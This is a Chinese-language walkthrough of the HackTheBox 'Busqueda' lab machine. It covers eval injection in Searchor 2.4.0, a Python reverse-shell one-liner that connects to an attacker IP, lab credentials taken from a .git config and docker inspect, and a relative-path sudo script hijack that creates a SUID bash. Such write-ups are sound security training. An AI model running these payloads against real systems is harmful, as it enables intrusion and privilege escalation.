HTB-Busqueda
HTB-Busqueda
- 信息收集
- 80端口
- svc
- svc -> root
信息收集
80端口
将ip和searcher.htb添加至/etc/hosts文件。
功能能就是你输入一个值,选择好搜索引擎后点击search,就会生成一个选择的搜索引擎里搜索你输入的值的链接。比如输入aster。
如果勾选了自动重定向就会使用你选择的引擎搜索你输入的值。
页面最底下有一句:Powered by Flask and Searchor 2.4.0
,查看github的库。
在查看版本更新内容的时候发现searchor 2.4.2修复了一个vulnerability。
跟随链接进去查看具体是指什么。
看来是因为eval导致的任意代码执行。通过Github下载存在问题的版本,并开始阅读源代码。找到了eval所在位置。
使用burp suite抓包发现提交的参数信息。
如果将engine的值内容添加英文双引号,会出现不可用的引擎。
如果将query的值添加英文单引号,会出现因为错误而导致的空界面。
做个小实验,本意是你输入的query字符串会被输出两次。
比如我输入9,就会出现两个9组成的字符串。
输入单引号9('9
)会出现什么呢?会出现语法错误。
这时候就可以通过eval注入一些恶意代码。
以加号(+
)连接。
没错就是这个思路我们在网站的query处输入'+__import__("os").system("id")+'
svc
测试一下ping。
开始尝试反弹shell的语句。
似乎直接依靠命令反弹有点不好使,所以我打算制作一个shell或者直接上传nc。但是对方不为所动。
行吧。不过我感觉似乎有什么东西还是说python编译器在阻拦shell的建立。
经过测试我发现我的卡莉似乎坏了,换了个卡莉后正常(一定要保持良好的快照习惯啊,当然别忘了备份的习惯)。使用下面的python代码反弹shell。
python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.31\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")\'
svc -> root
在/var/www/app目录发现了.git。
肯能会涉及到git回滚,使用git log查看commit的版本会遇到安全权的问题,使用给出的命令添加安全例外。不过添加后运行git log就没动静了。
升级为较为完整的shell后执行git log会得到Initial commit初始提交。
查看系统内核时候发现可能会存在DirtyPipe。
不过经过几次对DirtyPipe的尝试后均无果。打住,继续收集信息。我们的小豌豆帮我们找到了很多网站。
其实就两个,将gitea.searcher.htb添加至hosts后。
登录界面?去找找有没有凭证。
去官网翻翻文档看有没有默认账号密码、默认安装路径等信息。很遗憾没有找到有用信息。回到最开始的/var/www/app里,去看看那个.git文件。
发现了凭证cody:jh1usoih2bkjaspwe92。
通过凭证登录后来到新的界面。可以看到cody先创建了一个仓库,administrator在仓库中创建了分支,administrator推送到了仓库的main分支。
但是我对比了一下这个仓库和/var/www/app里的,没有差距。可能cody是svc。
来看看/opt/scripts目录,我们没有权限直接查看system-checkup.py文件内容。
运行看看。
似乎我们能执行这三个命令docker-ps、docker-inspect、full-checkup。执行docker-ps试试。
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
就是这个docker-inspect,貌似是我们能唯一输入命令或者语句的地方。
full-checkup就是对容器进行体检。
注意力集中在docker-inspect上吧。看官方文档。
附上官网文档对docker inspect的用法说明。
使用sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e
查看960873171e2ed的Json版本的config。
从中发现了数据库的凭证。
修改ID查看f84a6b33fb5a的Json版本的config。
不出意外这两个密码应该不是root的密码。试试用两个密码能不能登陆gitea的administrator。
- yuiu1hoiu4i5ho1uh
- jI86kGUuj87guWr3RyF
使用administrator:yuiu1hoiu4i5ho1uh登录gitea的administrator用户。
这几个脚本对应/opt/scripts文件的几个脚本。其中system-checkup.py就是我们能一root运行的脚本。非常有趣的就是屏幕截图上的一部分代码。
其中的__format
和container
是我们可控的,他在最后会调用run_command
函数来执行命令。其中run_command
函数内有subprocess.run。
我们可以控制可控变量来进行代码执行。不过经过尝试几次后我觉得我可能没有办法实现任意代码执行,或者说这里是个兔子洞。
这段估计又是一个有趣的东西。他在当前目录找full-checkup.sh。
这次并没用绝对路径。当我们在/opt/scripts目录执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
,他是能够正常显示。
如果我们在/tmp目录下执行就会出现问题。
所以我们在/tmp目录创建一个full-checkup.sh文件内容如下:
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
修改好文件权限后执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
。
似乎有一个脚本在对/tmp进行重置,注意一下即可。
HTB-Busqueda相关推荐
- HTB Busqueda WriteUP
Busqueda Namp ┌──(root
- 手机流量共享 linux,linux – 通过HTB共享带宽和优先处理实时流量,哪种方案更好?...
我想在我们的互联网线路上添加一些流量管理.在阅读了大量文档之后,我认为HFSC对我来说太复杂了(我不了解所有曲线的东西,我担心我永远不会把它弄好),CBQ不推荐,基本上HTB就是通往适合大多数人. 我 ...
- linux htb 源代码,LINUX TC:HTB相关源码
LINUX TC:HTB相关源码 收藏 HTB(hierarchy token buffer)是linux tc(traffic control)模块中的排队队列的一种.它的配置比CBQ要简单.同时实 ...
- Linux 工具 | 第1篇:高级流控-TC+HTB+IFB+内核模块
作者:isshe 日期:2018.09.19 邮箱:i.sshe@outlook.com github: https://github.com/isshe 高级流控-TC+HTB+IFB+内核模块 1 ...
- linux下TC+HTB流量控制
C规则涉及到 队列(QUEUE) 分类器(CLASS) 过滤器(FILTER),filter划分的标志位可用U32或iptables的set-mark来实现 ) 一般是"控发"不控 ...
- HTB打靶(Active Directory 101 Mantis)
namp扫描 Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-02 03:40 EST Stats: 0:01:28 elapsed; 0 hos ...
- Linux TC 流量控制与排队规则 qdisc 树型结构详解(以HTB和RED为例)
1. 背景 Linux 操作系统中的流量控制器 TC (Traffic Control) 用于Linux内核的流量控制,它规定建立处理数据包的队列,并定义队列中的数据包被发送的方式,从而实现对流量的控 ...
- 漏洞payload 靶机_【HTB系列】靶机Bitlab的渗透测试
本文作者:是大方子(Ms08067实验室核心成员) ﹀ ﹀ ﹀ 0x00 本文目录 反思与总结 基本信息 渗透测试过程 补充 0x01 反思与总结 1. curl 发送GET参数化请求 2. 对反弹回 ...
- HTB打靶(Active Directory 101 Reel)
nmap扫描目标 nmap -A -T4 10.10.10.77 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 01:30 EST Nma ...
- HTB靶场系列 Windows靶机 Granny靶机
勘探 还是使用nmap进行侦擦 先大致扫描 nmap 10.10.10.15 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-01 10:29 C ...
最新文章
- [ZJOI2008][BZOJ1036] 树的统计count
- SpringMVC关于json、xml自动转换的原理研究[附带源码分析 --转
- PowerDesigner将PDM导出生成WORD文档(转)
- 链表中删除选定结点的优雅操作!
- 程序员会写诗是怎样的体验
- nohup后台运行以及重定向标准输出和标准异常
- 会员注册审核状态更新计算
- msc51单片机计数器c语言,mcs51单片机计数器工作方式1 计数初值计算与定时编程举例...
- python里面两个大于号_听说92.8%的人答不对这道Python题,我不信,后来我信了!真有趣...
- DevExpress.XtraEditors.Repository.RepositoryItem.CreateDesigner()
- 使用SSE指令集优化memcpy
- java 同步线程方式
- QQ截图出现闪退,无法截图(亲测有效)
- Unity3d报错及解决办法总结
- 什么是Monitor?
- Hibernate:cannot simultaneously fetch multiple bags 解决方案
- 计算机英语缩略词大全,计算机英语缩略语大全
- python—最大公约数和最小公倍数
- ReactNative 最新教程
- iOS客户端开发与Web前端开发
热门文章
- RTK基站加入3D扼流圈天线,对卫星导航有什么助益?
- Spring Boot 之 Swagger
- c语言怎么计算星期,计算任何一天是星期几的C语言源代码.
- 【电源专题】案例:用电子负载模拟电池测试充电芯片
- jstack -l pid:查看线程状态,使用的垃圾回收算法,死锁检测
- css 兼容解决方案,css浏览器兼容_CSS浏览器兼容性问题及解决方案
- 威联通ts-532x 篇六 qts5.0注册qnapclub源
- Linux根文件系统(rootfs原理详解)
- 软银投资工业软件公司OSIsoft 价值数十亿美元
- 【工业互联网】惊人的一跳:制造业洞察力登场